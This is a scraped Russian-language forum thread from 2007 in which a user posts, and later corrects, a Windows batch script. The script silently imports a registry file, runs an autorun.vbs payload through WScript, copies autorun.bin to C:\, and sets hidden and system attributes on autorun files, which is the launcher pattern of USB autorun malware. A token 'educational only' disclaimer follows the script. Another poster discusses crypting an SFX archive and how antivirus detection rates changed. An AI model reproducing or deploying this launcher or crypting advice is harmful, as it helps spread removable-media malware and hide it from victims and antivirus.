if exist .\autorun.reg regedit /s .\autorun.reg
if not "%1"=="" goto open
if exist autorun.vbs start WScript.exe autorun.vbs&exit
if exist %SYSTEMROOT%\system32\autorun.vbs start WScript.exe %SYSTEMROOT%\system32\autorun.vbs&exit
exit
: open
if not "%1"=="Open" goto next
start explorer .\
exit
:next
if not "%1"=="Over" goto :next2
if exist .\autorun.bin type .\autorun.bin >C:\autorun.txt&&exit
if exist %SYSTEMROOT%\system32\autorun.bin type %SYSTEMROOT%\system32\autorun.bin >c:\autorun.txt&&exit
exit
:next2
if "%1"=="-" attrib -s -a -h -r %2\autorun.*
if "%1"=="+" attrib +s +a +h +r %2\autorun.*
:end
P.S. Данная программа носит чисто ознакомительный характер и используется исключительно для защиты Ваших данных, и не каким образом не должна быть использована в других целях, противоречащих законам какой либо страны!!!
GlOFF, ну что? Где обещанный пример?
Кстати закриптовал один SFX архив криптором и проверил в инете, вместо 12% стал 80% че за фигня?
Это че такое? Я тебе чем-то обязан? Учись нормально общаться и думать сам
Код:
if exist .\autorun.reg regedit /s .\autorun.reg
if not "%1"=="" goto open
if exist autorun.vbs start WScript.exe autorun.vbs&exit
if exist %SYSTEMROOT%\system32\autorun.vbs start WScript.exe %SYSTEMROOT%\system32\autorun.vbs&exit
exit
: open
if not "%1"=="Open" goto next
start explorer .\
exit
:next
if not "%1"=="Over" goto :next2
if exist .\autorun.bin type .\autorun.bin >C:\autorun.txt&&exit
if exist %SYSTEMROOT%\system32\autorun.bin type %SYSTEMROOT%\system32\autorun.bin >c:\autorun.txt&&exit
exit
:next2
if "%1"=="+" attrib +s +a +h +r %2\autorun.*
if "%1"=="-" attrib -s -a -h -r %2\autorun.*
:end
1) Добавлен пробел в строку между "...WScript.exe и %SYSTEMROOT%\syste..."
Цитата:
if exist %SYSTEMROOT%\system32\autorun.vbs start WScript.exe %SYSTEMROOT%\system32\autorun.vbs&exit
2) Местами строчки поменял
Цитата:
if "%1"=="+" attrib +s +a +h +r %2\autorun.*
if "%1"=="-" attrib -s -a -h -r %2\autorun.*
Последний раз редактировалось GlOFF; 25.10.2007 в 15:15..